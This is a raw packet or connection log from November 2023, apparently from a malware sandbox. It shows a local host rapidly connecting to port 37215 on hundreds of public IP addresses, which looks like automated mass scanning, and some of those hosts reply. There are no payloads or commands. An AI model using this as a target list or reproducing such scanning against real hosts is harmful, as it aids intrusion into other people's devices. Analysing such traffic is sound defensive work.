Nov 19, 2023 09:16:15.880204916 CET	45796	37215	192.168.2.23	41.102.20.55
Nov 19, 2023 09:16:15.880208969 CET	45796	37215	192.168.2.23	156.234.86.239
Nov 19, 2023 09:16:15.880224943 CET	45796	37215	192.168.2.23	41.20.27.68
Nov 19, 2023 09:16:15.880225897 CET	45796	37215	192.168.2.23	197.204.132.75
Nov 19, 2023 09:16:15.880228043 CET	45796	37215	192.168.2.23	41.72.30.227
Nov 19, 2023 09:16:15.880239964 CET	45796	37215	192.168.2.23	41.186.56.114
Nov 19, 2023 09:16:15.880243063 CET	45796	37215	192.168.2.23	197.243.251.236
Nov 19, 2023 09:16:15.880243063 CET	45796	37215	192.168.2.23	156.112.30.197
Nov 19, 2023 09:16:15.880248070 CET	45796	37215	192.168.2.23	197.65.212.147
Nov 19, 2023 09:16:15.880256891 CET	45796	37215	192.168.2.23	197.125.59.62
Nov 19, 2023 09:16:15.880256891 CET	45796	37215	192.168.2.23	156.206.86.222
Nov 19, 2023 09:16:15.880256891 CET	45796	37215	192.168.2.23	197.22.104.216
Nov 19, 2023 09:16:15.880263090 CET	45796	37215	192.168.2.23	41.28.198.191
Nov 19, 2023 09:16:15.880264997 CET	45796	37215	192.168.2.23	41.54.181.238
Nov 19, 2023 09:16:15.880273104 CET	45796	37215	192.168.2.23	156.192.181.192
Nov 19, 2023 09:16:15.880274057 CET	45796	37215	192.168.2.23	156.222.3.107
Nov 19, 2023 09:16:15.880275011 CET	45796	37215	192.168.2.23	197.18.157.167
Nov 19, 2023 09:16:15.880275965 CET	45796	37215	192.168.2.23	41.255.24.58
Nov 19, 2023 09:16:15.880280972 CET	45796	37215	192.168.2.23	156.166.117.74
Nov 19, 2023 09:16:15.880295992 CET	45796	37215	192.168.2.23	197.85.22.1
Nov 19, 2023 09:16:15.880301952 CET	45796	37215	192.168.2.23	156.167.116.246
Nov 19, 2023 09:16:15.880301952 CET	45796	37215	192.168.2.23	156.184.147.81
Nov 19, 2023 09:16:15.880309105 CET	45796	37215	192.168.2.23	197.192.232.98
Nov 19, 2023 09:16:15.880316019 CET	45796	37215	192.168.2.23	197.147.195.54
Nov 19, 2023 09:16:15.880316019 CET	45796	37215	192.168.2.23	156.229.129.175
Nov 19, 2023 09:16:15.880372047 CET	33702	37215	192.168.2.23	156.226.14.245
Nov 19, 2023 09:16:15.880510092 CET	60756	37215	192.168.2.23	156.230.23.116
Nov 19, 2023 09:16:15.880522013 CET	60756	37215	192.168.2.23	156.230.23.116
Nov 19, 2023 09:16:15.880546093 CET	60760	37215	192.168.2.23	156.230.23.116
Nov 19, 2023 09:16:15.884459019 CET	37215	45796	197.94.66.124	192.168.2.23
Nov 19, 2023 09:16:15.897778988 CET	37215	45796	41.221.11.177	192.168.2.23
Nov 19, 2023 09:16:15.898619890 CET	37215	45796	41.215.182.13	192.168.2.23
Nov 19, 2023 09:16:15.915127993 CET	37215	45796	197.218.200.133	192.168.2.23
Nov 19, 2023 09:16:15.943417072 CET	37215	45796	156.241.97.151	192.168.2.23
Nov 19, 2023 09:16:15.943487883 CET	45796	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:15.943861961 CET	37215	45796	156.253.92.23	192.168.2.23
Nov 19, 2023 09:16:16.043346882 CET	37215	45796	156.224.148.203	192.168.2.23
Nov 19, 2023 09:16:16.082058907 CET	37215	45796	197.130.218.157	192.168.2.23
Nov 19, 2023 09:16:16.113472939 CET	37215	45796	41.47.227.224	192.168.2.23
Nov 19, 2023 09:16:16.127129078 CET	37215	45796	41.35.80.22	192.168.2.23
Nov 19, 2023 09:16:16.134840965 CET	37215	45796	197.7.113.118	192.168.2.23
Nov 19, 2023 09:16:16.191819906 CET	37215	45796	156.240.10.42	192.168.2.23
Nov 19, 2023 09:16:16.194292068 CET	37215	45796	156.253.34.65	192.168.2.23
Nov 19, 2023 09:16:16.194360018 CET	45796	37215	192.168.2.23	156.253.34.65
Nov 19, 2023 09:16:16.195507050 CET	37215	45796	156.240.4.164	192.168.2.23
Nov 19, 2023 09:16:16.199027061 CET	37215	45796	156.254.111.68	192.168.2.23
Nov 19, 2023 09:16:16.199106932 CET	45796	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.199266911 CET	37215	33702	156.226.14.245	192.168.2.23
Nov 19, 2023 09:16:16.199395895 CET	33702	37215	192.168.2.23	156.226.14.245
Nov 19, 2023 09:16:16.199517012 CET	53654	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:16.199569941 CET	36808	37215	192.168.2.23	156.253.34.65
Nov 19, 2023 09:16:16.199635029 CET	34430	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.199665070 CET	33702	37215	192.168.2.23	156.226.14.245
Nov 19, 2023 09:16:16.199691057 CET	33702	37215	192.168.2.23	156.226.14.245
Nov 19, 2023 09:16:16.199726105 CET	33712	37215	192.168.2.23	156.226.14.245
Nov 19, 2023 09:16:16.200500011 CET	37215	45796	156.234.86.239	192.168.2.23
Nov 19, 2023 09:16:16.203370094 CET	37215	45796	41.23.75.233	192.168.2.23
Nov 19, 2023 09:16:16.207479000 CET	37215	45796	197.97.237.43	192.168.2.23
Nov 19, 2023 09:16:16.214452982 CET	37215	45796	156.250.236.169	192.168.2.23
Nov 19, 2023 09:16:16.223403931 CET	37215	45796	156.224.32.92	192.168.2.23
Nov 19, 2023 09:16:16.513148069 CET	37215	36808	156.253.34.65	192.168.2.23
Nov 19, 2023 09:16:16.513264894 CET	36808	37215	192.168.2.23	156.253.34.65
Nov 19, 2023 09:16:16.513394117 CET	36808	37215	192.168.2.23	156.253.34.65
Nov 19, 2023 09:16:16.513432026 CET	36808	37215	192.168.2.23	156.253.34.65
Nov 19, 2023 09:16:16.513509989 CET	36814	37215	192.168.2.23	156.253.34.65
Nov 19, 2023 09:16:16.515887022 CET	37215	34430	156.254.111.68	192.168.2.23
Nov 19, 2023 09:16:16.516028881 CET	34430	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.516120911 CET	34436	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.516129017 CET	34430	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.516129017 CET	34430	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.552469015 CET	60756	37215	192.168.2.23	156.230.23.116
Nov 19, 2023 09:16:16.584453106 CET	60282	37215	192.168.2.23	156.254.111.62
Nov 19, 2023 09:16:16.589083910 CET	37215	53654	156.241.97.151	192.168.2.23
Nov 19, 2023 09:16:16.589152098 CET	53654	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:16.589230061 CET	53654	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:16.589265108 CET	53654	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:16.589308023 CET	53666	37215	192.168.2.23	156.241.97.151
Nov 19, 2023 09:16:16.626012087 CET	37215	45796	41.192.214.136	192.168.2.23
Nov 19, 2023 09:16:16.829201937 CET	37215	34436	156.254.111.68	192.168.2.23
Nov 19, 2023 09:16:16.829437971 CET	45796	37215	192.168.2.23	156.188.87.241
Nov 19, 2023 09:16:16.829452038 CET	45796	37215	192.168.2.23	41.104.8.48
Nov 19, 2023 09:16:16.829452038 CET	45796	37215	192.168.2.23	41.40.195.20
Nov 19, 2023 09:16:16.829456091 CET	34436	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.829456091 CET	34436	37215	192.168.2.23	156.254.111.68
Nov 19, 2023 09:16:16.829456091 CET	45796	37215	192.168.2.23	41.97.248.113
Nov 19, 2023 09:16:16.829478979 CET	45796	37215	192.168.2.23	156.242.123.168
Nov 19, 2023 09:16:16.829492092 CET	45796	37215	192.168.2.23	197.240.104.244
Nov 19, 2023 09:16:16.829504013 CET	45796	37215	192.168.2.23	197.235.4.158
Nov 19, 2023 09:16:16.829505920 CET	45796	37215	192.168.2.23	156.162.113.26
Nov 19, 2023 09:16:16.829534054 CET	45796	37215	192.168.2.23	197.204.81.214
Nov 19, 2023 09:16:16.829560041 CET	45796	37215	192.168.2.23	156.224.139.94
Nov 19, 2023 09:16:16.829579115 CET	45796	37215	192.168.2.23	156.220.83.215
Nov 19, 2023 09:16:16.829606056 CET	45796	37215	192.168.2.23	41.72.207.222
Nov 19, 2023 09:16:16.829632998 CET	45796	37215	192.168.2.23	197.48.239.138
Nov 19, 2023 09:16:16.829658031 CET	45796	37215	192.168.2.23	41.174.38.55
Nov 19, 2023 09:16:16.829675913 CET	45796	37215	192.168.2.23	197.178.4.126
Nov 19, 2023 09:16:16.829705954 CET	45796	37215	192.168.2.23	41.154.124.172
Nov 19, 2023 09:16:16.829726934 CET	45796	37215	192.168.2.23	41.7.197.151
Nov 19, 2023 09:16:16.829746008 CET	45796	37215	192.168.2.23	197.156.159.62
Nov 19, 2023 09:16:16.829762936 CET	45796	37215	192.168.2.23	156.7.11.5
Nov 19, 2023 09:16:16.829778910 CET	45796	37215	192.168.2.23	197.184.196.112
Nov 19, 2023 09:16:16.829876900 CET	45796	37215	192.168.2.23	156.221.178.51
Nov 19, 2023 09:16:16.829905033 CET	45796	37215	192.168.2.23	197.185.119.215
Nov 19, 2023 09:16:16.829920053 CET	45796	37215	192.168.2.23	197.16.4.219
Nov 19, 2023 09:16:16.829920053 CET	45796	37215	192.168.2.23	197.66.186.213
Nov 19, 2023 09:16:16.829920053 CET	45796	37215	192.168.2.23	41.113.158.236
Nov 19, 2023 09:16:16.829931021 CET	45796	37215	192.168.2.23	197.129.218.193
Nov 19, 2023 09:16:16.829957008 CET	45796	37215	192.168.2.23	197.144.194.111
Nov 19, 2023 09:16:16.830030918 CET	45796	37215	192.168.2.23	197.7.156.188
Nov 19, 2023 09:16:16.830030918 CET	45796	37215	192.168.2.23	156.247.2.95
Nov 19, 2023 09:16:16.830038071 CET	45796	37215	192.168.2.23	41.195.59.149
Nov 19, 2023 09:16:16.830040932 CET	45796	37215	192.168.2.23	41.103.239.71
Nov 19, 2023 09:16:16.830040932 CET	45796	37215	192.168.2.23	41.137.53.143
Nov 19, 2023 09:16:16.830040932 CET	45796	37215	192.168.2.23	41.14.2.80
Nov 19, 2023 09:16:16.830040932 CET	45796	37215	192.168.2.23	41.226.85.97
Nov 19, 2023 09:16:16.830054998 CET	45796	37215	192.168.2.23	156.133.97.80
Nov 19, 2023 09:16:16.830084085 CET	45796	37215	192.168.2.23	41.210.117.179
Nov 19, 2023 09:16:16.830105066 CET	45796	37215	192.168.2.23	41.92.204.39
Nov 19, 2023 09:16:16.830126047 CET	45796	37215	192.168.2.23	156.186.10.73
Nov 19, 2023 09:16:16.830177069 CET	45796	37215	192.168.2.23	197.198.158.223
Nov 19, 2023 09:16:16.830178022 CET	45796	37215	192.168.2.23	156.23.172.74
Nov 19, 2023 09:16:16.830183029 CET	45796	37215	192.168.2.23	197.55.250.93
Nov 19, 2023 09:16:16.830189943 CET	45796	37215	192.168.2.23	41.48.27.83
Nov 19, 2023 09:16:16.830223083 CET	45796	37215	192.168.2.23	197.138.80.175
Nov 19, 2023 09:16:16.830240965 CET	45796	37215	192.168.2.23	156.106.21.84
Nov 19, 2023 09:16:16.830251932 CET	45796	37215	192.168.2.23	156.190.0.74
Nov 19, 2023 09:16:16.830274105 CET	45796	37215	192.168.2.23	156.243.3.86
Nov 19, 2023 09:16:16.830293894 CET	45796	37215	192.168.2.23	156.114.174.34
Nov 19, 2023 09:16:16.830374956 CET	45796	37215	192.168.2.23	156.89.228.233
Nov 19, 2023 09:16:16.830418110 CET	45796	37215	192.168.2.23	197.168.201.33
Nov 19, 2023 09:16:16.830418110 CET	45796	37215	192.168.2.23	156.135.6.101
Nov 19, 2023 09:16:16.830445051 CET	45796	37215	192.168.2.23	197.18.242.110
Nov 19, 2023 09:16:16.830463886 CET	45796	37215	192.168.2.23	156.175.96.229
Nov 19, 2023 09:16:16.830488920 CET	45796	37215	192.168.2.23	41.173.124.144
Nov 19, 2023 09:16:16.830513000 CET	45796	37215	192.168.2.23	197.247.123.166
Nov 19, 2023 09:16:16.830538988 CET	45796	37215	192.168.2.23	156.147.84.173
Nov 19, 2023 09:16:16.830555916 CET	45796	37215	192.168.2.23	197.219.178.143
Nov 19, 2023 09:16:16.830580950 CET	45796	37215	192.168.2.23	156.112.126.220
Nov 19, 2023 09:16:16.830602884 CET	45796	37215	192.168.2.23	197.179.199.83
Nov 19, 2023 09:16:16.830631971 CET	45796	37215	192.168.2.23	41.210.71.178
Nov 19, 2023 09:16:16.830642939 CET	45796	37215	192.168.2.23	156.24.123.40
Nov 19, 2023 09:16:16.830668926 CET	45796	37215	192.168.2.23	41.50.238.68
Nov 19, 2023 09:16:16.830686092 CET	45796	37215	192.168.2.23	197.52.93.135
Nov 19, 2023 09:16:16.830702066 CET	45796	37215	192.168.2.23	156.186.180.208
Nov 19, 2023 09:16:16.830729008 CET	45796	37215	192.168.2.23	197.223.189.89
Nov 19, 2023 09:16:16.830748081 CET	45796	37215	192.168.2.23	156.3.29.30
Nov 19, 2023 09:16:16.830763102 CET	45796	37215	192.168.2.23	197.164.0.235
Nov 19, 2023 09:16:16.830781937 CET	45796	37215	192.168.2.23	197.20.116.37
Nov 19, 2023 09:16:16.830816984 CET	45796	37215	192.168.2.23	197.229.175.15
Nov 19, 2023 09:16:16.830826044 CET	45796	37215	192.168.2.23	197.116.209.121
Nov 19, 2023 09:16:16.830845118 CET	45796	37215	192.168.2.23	156.188.129.228
Nov 19, 2023 09:16:16.830879927 CET	45796	37215	192.168.2.23	41.154.216.23
Nov 19, 2023 09:16:16.830900908 CET	45796	37215	192.168.2.23	197.97.236.217
Nov 19, 2023 09:16:16.830931902 CET	45796	37215	192.168.2.23	156.232.210.112
Nov 19, 2023 09:16:16.830943108 CET	45796	37215	192.168.2.23	156.109.217.67
Nov 19, 2023 09:16:16.830971003 CET	45796	37215	192.168.2.23	197.187.201.2
Nov 19, 2023 09:16:16.831000090 CET	45796	37215	192.168.2.23	156.188.74.13
Nov 19, 2023 09:16:16.831022024 CET	45796	37215	192.168.2.23	41.70.193.98
Nov 19, 2023 09:16:16.831053019 CET	45796	37215	192.168.2.23	197.203.24.33
Nov 19, 2023 09:16:16.831080914 CET	45796	37215	192.168.2.23	197.21.196.150
Nov 19, 2023 09:16:16.831093073 CET	45796	37215	192.168.2.23	197.11.114.106
Nov 19, 2023 09:16:16.831113100 CET	45796	37215	192.168.2.23	156.8.10.211
Nov 19, 2023 09:16:16.831150055 CET	45796	37215	192.168.2.23	156.113.229.19
Nov 19, 2023 09:16:16.831163883 CET	45796	37215	192.168.2.23	41.56.119.89
Nov 19, 2023 09:16:16.831180096 CET	45796	37215	192.168.2.23	41.65.253.54
Nov 19, 2023 09:16:16.831208944 CET	45796	37215	192.168.2.23	41.224.119.249
Nov 19, 2023 09:16:16.831239939 CET	45796	37215	192.168.2.23	41.114.159.119
Nov 19, 2023 09:16:16.831260920 CET	45796	37215	192.168.2.23	197.36.180.37
Nov 19, 2023 09:16:16.831274986 CET	45796	37215	192.168.2.23	156.50.133.152
Nov 19, 2023 09:16:16.831305027 CET	45796	37215	192.168.2.23	41.196.34.91
Nov 19, 2023 09:16:16.831322908 CET	45796	37215	192.168.2.23	156.191.70.221
Nov 19, 2023 09:16:16.831340075 CET	45796	37215	192.168.2.23	156.165.26.172
Nov 19, 2023 09:16:16.831367016 CET	45796	37215	192.168.2.23	41.167.173.244
Nov 19, 2023 09:16:16.831397057 CET	45796	37215	192.168.2.23	197.187.74.101
Nov 19, 2023 09:16:16.831410885 CET	45796	37215	192.168.2.23	197.56.228.210
Nov 19, 2023 09:16:16.831437111 CET	45796	37215	192.168.2.23	156.79.235.212
Nov 19, 2023 09:16:16.831451893 CET	45796	37215	192.168.2.23	156.101.65.62
Nov 19, 2023 09:16:16.831480026 CET	45796	37215	192.168.2.23	41.115.65.120
Nov 19, 2023 09:16:16.831490040 CET	45796	37215	192.168.2.23	41.68.112.106
Nov 19, 2023 09:16:16.831521034 CET	45796	37215	192.168.2.23	197.52.173.79
Nov 19, 2023 09:16:16.831547022 CET	45796	37215	192.168.2.23	41.25.174.49
Nov 19, 2023 09:16:16.831577063 CET	45796	37215	192.168.2.23	41.195.205.61
Nov 19, 2023 09:16:16.831578970 CET	45796	37215	192.168.2.23	156.4.102.35
Nov 19, 2023 09:16:16.831608057 CET	45796	37215	192.168.2.23	156.182.96.104
Nov 19, 2023 09:16:16.831625938 CET	45796	37215	192.168.2.23	197.223.103.48
Nov 19, 2023 09:16:16.831653118 CET	45796	37215	192.168.2.23	41.34.207.77
Nov 19, 2023 09:16:16.831671953 CET	45796	37215	192.168.2.23	41.37.16.213
Nov 19, 2023 09:16:16.831687927 CET	45796	37215	192.168.2.23	197.148.92.182
Nov 19, 2023 09:16:16.831743002 CET	45796	37215	192.168.2.23	156.117.118.198
Nov 19, 2023 09:16:16.831751108 CET	45796	37215	192.168.2.23	197.226.111.19
Nov 19, 2023 09:16:16.831757069 CET	45796	37215	192.168.2.23	156.223.200.251
Nov 19, 2023 09:16:16.831790924 CET	45796	37215	192.168.2.23	41.169.84.214
Nov 19, 2023 09:16:16.831790924 CET	45796	37215	192.168.2.23	197.7.242.54
Nov 19, 2023 09:16:16.831818104 CET	45796	37215	192.168.2.23	197.126.56.211
Nov 19, 2023 09:16:16.831844091 CET	45796	37215	192.168.2.23	197.162.214.227
Nov 19, 2023 09:16:16.831867933 CET	45796	37215	192.168.2.23	197.90.20.254
Nov 19, 2023 09:16:16.831897020 CET	45796	37215	192.168.2.23	197.116.103.105
Nov 19, 2023 09:16:16.831922054 CET	45796	37215	192.168.2.23	41.222.242.188
Nov 19, 2023 09:16:16.831942081 CET	45796	37215	192.168.2.23	156.241.173.95
Nov 19, 2023 09:16:16.831962109 CET	45796	37215	192.168.2.23	197.67.20.61
Nov 19, 2023 09:16:16.831983089 CET	45796	37215	192.168.2.23	41.37.144.65
Nov 19, 2023 09:16:16.832026005 CET	45796	37215	192.168.2.23	156.234.208.140
Nov 19, 2023 09:16:16.832030058 CET	45796	37215	192.168.2.23	156.69.105.193
Nov 19, 2023 09:16:16.832030058 CET	45796	37215	192.168.2.23	197.63.249.132
Nov 19, 2023 09:16:16.832036972 CET	45796	37215	192.168.2.23	156.64.170.19
Nov 19, 2023 09:16:16.832071066 CET	45796	37215	192.168.2.23	197.159.234.237
Nov 19, 2023 09:16:16.832092047 CET	45796	37215	192.168.2.23	156.251.123.254
Nov 19, 2023 09:16:16.832106113 CET	45796	37215	192.168.2.23	156.248.80.19
Nov 19, 2023 09:16:16.832124949 CET	45796	37215	192.168.2.23	41.170.114.140
Nov 19, 2023 09:16:16.832146883 CET	45796	37215	192.168.2.23	41.123.58.67
Nov 19, 2023 09:16:16.832166910 CET	45796	37215	192.168.2.23	41.210.241.86
Nov 19, 2023 09:16:16.832191944 CET	45796	37215	192.168.2.23	41.185.55.85
Nov 19, 2023 09:16:16.832218885 CET	45796	37215	192.168.2.23	156.229.79.215
Nov 19, 2023 09:16:16.832238913 CET	45796	37215	192.168.2.23	41.60.182.233
Nov 19, 2023 09:16:16.832262993 CET	45796	37215	192.168.2.23	41.8.130.31
Nov 19, 2023 09:16:16.832297087 CET	45796	37215	192.168.2.23	41.130.21.116
Nov 19, 2023 09:16:16.832324028 CET	45796	37215	192.168.2.23	41.161.154.216
Nov 19, 2023 09:16:16.832350969 CET	45796	37215	192.168.2.23	197.210.164.42
Nov 19, 2023 09:16:16.832365036 CET	45796	37215	192.168.2.23	156.228.82.88
Nov 19, 2023 09:16:16.832412958 CET	45796	37215	192.168.2.23	156.109.16.170
Nov 19, 2023 09:16:16.832438946 CET	45796	37215	192.168.2.23	41.208.211.102
Nov 19, 2023 09:16:16.832463980 CET	45796	37215	192.168.2.23	41.68.34.95
Nov 19, 2023 09:16:16.832494020 CET	45796	37215	192.168.2.23	197.225.3.147
Nov 19, 2023 09:16:16.832510948 CET	45796	37215	192.168.2.23	197.174.251.51
Nov 19, 2023 09:16:16.832535028 CET	45796	37215	192.168.2.23	197.96.233.90
Nov 19, 2023 09:16:16.832565069 CET	45796	37215	192.168.2.23	156.130.152.43
Nov 19, 2023 09:16:16.832592964 CET	45796	37215	192.168.2.23	41.54.77.252
Nov 19, 2023 09:16:16.832618952 CET	45796	37215	192.168.2.23	41.129.151.146
Nov 19, 2023 09:16:16.832631111 CET	45796	37215	192.168.2.23	156.108.77.92
Nov 19, 2023 09:16:16.832643986 CET	45796	37215	192.168.2.23	41.38.84.17
Nov 19, 2023 09:16:16.832662106 CET	45796	37215	192.168.2.23	41.175.74.167
Nov 19, 2023 09:16:16.832707882 CET	45796	37215	192.168.2.23	197.84.130.208
Nov 19, 2023 09:16:16.832746983 CET	45796	37215	192.168.2.23	197.15.120.252
Nov 19, 2023 09:16:16.832746983 CET	45796	37215	192.168.2.23	41.134.107.228
Nov 19, 2023 09:16:16.832753897 CET	45796	37215	192.168.2.23	197.9.210.53
Nov 19, 2023 09:16:16.832772017 CET	45796	37215	192.168.2.23	41.182.82.250
Nov 19, 2023 09:16:16.832794905 CET	45796	37215	192.168.2.23	197.212.211.199
Nov 19, 2023 09:16:16.832813978 CET	45796	37215	192.168.2.23	197.189.57.78
Nov 19, 2023 09:16:16.832837105 CET	45796	37215	192.168.2.23	41.152.118.186
Nov 19, 2023 09:16:16.832860947 CET	45796	37215	192.168.2.23	197.140.161.127
Nov 19, 2023 09:16:16.832878113 CET	45796	37215	192.168.2.23	197.45.112.56
Nov 19, 2023 09:16:16.832896948 CET	45796	37215	192.168.2.23	197.80.184.51
Nov 19, 2023 09:16:16.832906961 CET	45796	37215	192.168.2.23	156.162.55.97
Nov 19, 2023 09:16:16.832953930 CET	45796	37215	192.168.2.23	156.72.58.127
Nov 19, 2023 09:16:16.832957983 CET	45796	37215	192.168.2.23	41.129.177.142
Nov 19, 2023 09:16:16.832958937 CET	45796	37215	192.168.2.23	197.18.230.247
Nov 19, 2023 09:16:16.832958937 CET	45796	37215	192.168.2.23	197.64.157.122
Nov 19, 2023 09:16:16.832981110 CET	45796	37215	192.168.2.23	41.110.63.34
Nov 19, 2023 09:16:16.833002090 CET	45796	37215	192.168.2.23	197.205.193.136
Nov 19, 2023 09:16:16.833024979 CET	45796	37215	192.168.2.23	156.57.93.170
Nov 19, 2023 09:16:16.833044052 CET	45796	37215	192.168.2.23	156.74.69.24
Nov 19, 2023 09:16:16.833070040 CET	45796	37215	192.168.2.23	41.107.190.48
Nov 19, 2023 09:16:16.833096027 CET	45796	37215	192.168.2.23	41.248.17.185
Nov 19, 2023 09:16:16.833123922 CET	45796	37215	192.168.2.23	197.26.163.109
Nov 19, 2023 09:16:16.833137989 CET	45796	37215	192.168.2.23	197.223.50.131
Nov 19, 2023 09:16:16.833163977 CET	45796	37215	192.168.2.23	197.2.64.225
Nov 19, 2023 09:16:16.833197117 CET	45796	37215	192.168.2.23	41.156.106.230
Nov 19, 2023 09:16:16.833211899 CET	45796	37215	192.168.2.23	197.28.169.233
Nov 19, 2023 09:16:16.833250999 CET	45796	37215	192.168.2.23	156.177.100.136
Nov 19, 2023 09:16:16.833260059 CET	45796	37215	192.168.2.23	41.90.85.241
Nov 19, 2023 09:16:16.833260059 CET	45796	37215	192.168.2.23	41.118.17.171
Nov 19, 2023 09:16:16.833281040 CET	45796	37215	192.168.2.23	156.83.98.109
Nov 19, 2023 09:16:16.833307981 CET	45796	37215	192.168.2.23	197.112.111.214
Nov 19, 2023 09:16:16.833331108 CET	45796	37215	192.168.2.23	197.205.80.127
Nov 19, 2023 09:16:16.833360910 CET	45796	37215	192.168.2.23	156.174.114.127
Nov 19, 2023 09:16:16.833384037 CET	45796	37215	192.168.2.23	156.189.239.5
Nov 19, 2023 09:16:16.833410978 CET	45796	37215	192.168.2.23	156.222.61.139
Nov 19, 2023 09:16:16.833441973 CET	45796	37215	192.168.2.23	41.251.24.112
Nov 19, 2023 09:16:16.833463907 CET	45796	37215	192.168.2.23	197.15.27.222
Nov 19, 2023 09:16:16.833496094 CET	45796	37215	192.168.2.23	156.128.252.67
Nov 19, 2023 09:16:16.833513021 CET	45796	37215	192.168.2.23	197.122.20.81
Nov 19, 2023 09:16:16.833539009 CET	45796	37215	192.168.2.23	41.100.70.125
Nov 19, 2023 09:16:16.833563089 CET	45796	37215	192.168.2.23	41.66.57.81
Nov 19, 2023 09:16:16.833586931 CET	45796	37215	192.168.2.23	41.69.32.54
Nov 19, 2023 09:16:16.833621025 CET	45796	37215	192.168.2.23	156.82.129.105
Nov 19, 2023 09:16:16.833631992 CET	45796	37215	192.168.2.23	197.27.185.155
Nov 19, 2023 09:16:16.833651066 CET	45796	37215	192.168.2.23	41.74.33.210
Nov 19, 2023 09:16:16.833679914 CET	45796	37215	192.168.2.23	197.177.135.5
Nov 19, 2023 09:16:16.833703995 CET	45796	37215	192.168.2.23	156.209.147.187
Nov 19, 2023 09:16:16.833739996 CET	45796	37215	192.168.2.23	41.110.103.119
Nov 19, 2023 09:16:16.833758116 CET	45796	37215	192.168.2.23	41.6.230.215
Nov 19, 2023 09:16:16.833789110 CET	45796	37215	192.168.2.23	197.249.174.86
Nov 19, 2023 09:16:16.833807945 CET	45796	37215	192.168.2.23	41.243.39.151
Nov 19, 2023 09:16:16.833831072 CET	45796	37215	192.168.2.23	41.156.122.9
Nov 19, 2023 09:16:16.833859921 CET	45796	37215	192.168.2.23	41.187.82.96
Nov 19, 2023 09:16:16.833885908 CET	45796	37215	192.168.2.23	156.43.9.152
Nov 19, 2023 09:16:16.833911896 CET	45796	37215	192.168.2.23	156.156.80.128
Nov 19, 2023 09:16:16.833942890 CET	45796	37215	192.168.2.23	41.131.42.224
Nov 19, 2023 09:16:16.833972931 CET	45796	37215	192.168.2.23	197.4.233.0
Nov 19, 2023 09:16:16.833985090 CET	45796	37215	192.168.2.23	41.40.143.147
Nov 19, 2023 09:16:16.834002018 CET	45796	37215	192.168.2.23	41.179.217.227
Nov 19, 2023 09:16:16.834017992 CET	45796	37215	192.168.2.23	197.62.117.106
Nov 19, 2023 09:16:16.834065914 CET	45796	37215	192.168.2.23	197.168.168.235
Nov 19, 2023 09:16:16.834074020 CET	45796	37215	192.168.2.23	41.249.113.4
Nov 19, 2023 09:16:16.834090948 CET	45796	37215	192.168.2.23	41.55.41.153
Nov 19, 2023 09:16:16.834109068 CET	45796	37215	192.168.2.23	156.43.168.105
Nov 19, 2023 09:16:16.834134102 CET	45796	37215	192.168.2.23	197.152.150.111
Nov 19, 2023 09:16:16.834156036 CET	45796	37215	192.168.2.23	156.121.80.227
Nov 19, 2023 09:16:16.834170103 CET	45796	37215	192.168.2.23	156.164.125.194
Nov 19, 2023 09:16:16.834197044 CET	45796	37215	192.168.2.23	156.251.82.125
Nov 19, 2023 09:16:16.834224939 CET	45796	37215	192.168.2.23	156.35.66.214
Nov 19, 2023 09:16:16.834242105 CET	45796	37215	192.168.2.23	41.50.98.253
Nov 19, 2023 09:16:16.834254980 CET	45796	37215	192.168.2.23	156.185.182.103
Nov 19, 2023 09:16:16.834273100 CET	45796	37215	192.168.2.23	41.185.175.12
Nov 19, 2023 09:16:16.834301949 CET	45796	37215	192.168.2.23	197.25.40.70
Nov 19, 2023 09:16:16.834323883 CET	45796	37215	192.168.2.23	156.24.51.111
Nov 19, 2023 09:16:16.834353924 CET	45796	37215	192.168.2.23	197.185.154.164
Nov 19, 2023 09:16:16.834368944 CET	45796	37215	192.168.2.23	41.74.24.178
Nov 19, 2023 09:16:16.834387064 CET	45796	37215	192.168.2.23	156.130.165.146
Nov 19, 2023 09:16:16.834404945 CET	45796	37215	192.168.2.23	41.183.44.65
Nov 19, 2023 09:16:16.834429026 CET	45796	37215	192.168.2.23	41.184.159.24
Nov 19, 2023 09:16:16.834444046 CET	45796	37215	192.168.2.23	41.253.244.160
Nov 19, 2023 09:16:16.834472895 CET	45796	37215	192.168.2.23	156.80.66.88
Nov 19, 2023 09:16:16.834501982 CET	45796	37215	192.168.2.23	197.141.78.214
Nov 19, 2023 09:16:16.834526062 CET	45796	37215	192.168.2.23	41.103.70.243
Nov 19, 2023 09:16:16.834547043 CET	45796	37215	192.168.2.23	197.184.246.4
Nov 19, 2023 09:16:16.834561110 CET	45796	37215	192.168.2.23	41.175.36.133
Nov 19, 2023 09:16:16.834589958 CET	45796	37215	192.168.2.23	41.89.229.147
Nov 19, 2023 09:16:16.834611893 CET	45796	37215	192.168.2.23	156.237.201.189
Nov 19, 2023 09:16:16.834633112 CET	45796	37215	192.168.2.23	197.251.188.165
Nov 19, 2023 09:16:16.834661007 CET	45796	37215	192.168.2.23	197.0.112.228
Nov 19, 2023 09:16:16.834680080 CET	45796	37215	192.168.2.23	156.104.134.25
Nov 19, 2023 09:16:16.834703922 CET	45796	37215	192.168.2.23	156.149.86.40
Nov 19, 2023 09:16:16.834728956 CET	45796	37215	192.168.2.23	41.95.103.221
Nov 19, 2023 09:16:16.834760904 CET	45796	37215	192.168.2.23	197.100.90.83
Nov 19, 2023 09:16:16.834777117 CET	45796	37215	192.168.2.23	156.28.183.194
Nov 19, 2023 09:16:16.834793091 CET	45796	37215	192.168.2.23	41.254.24.213
Nov 19, 2023 09:16:16.834813118 CET	45796	37215	192.168.2.23	156.239.113.22
Nov 19, 2023 09:16:16.834825993 CET	45796	37215	192.168.2.23	197.169.38.209
Nov 19, 2023 09:16:16.834846020 CET	45796	37215	192.168.2.23	156.198.86.35
Nov 19, 2023 09:16:16.834867954 CET	45796	37215	192.168.2.23	156.113.42.96
Nov 19, 2023 09:16:16.834876060 CET	45796	37215	192.168.2.23	41.30.184.25
Nov 19, 2023 09:16:16.834906101 CET	45796	37215	192.168.2.23	41.40.249.129
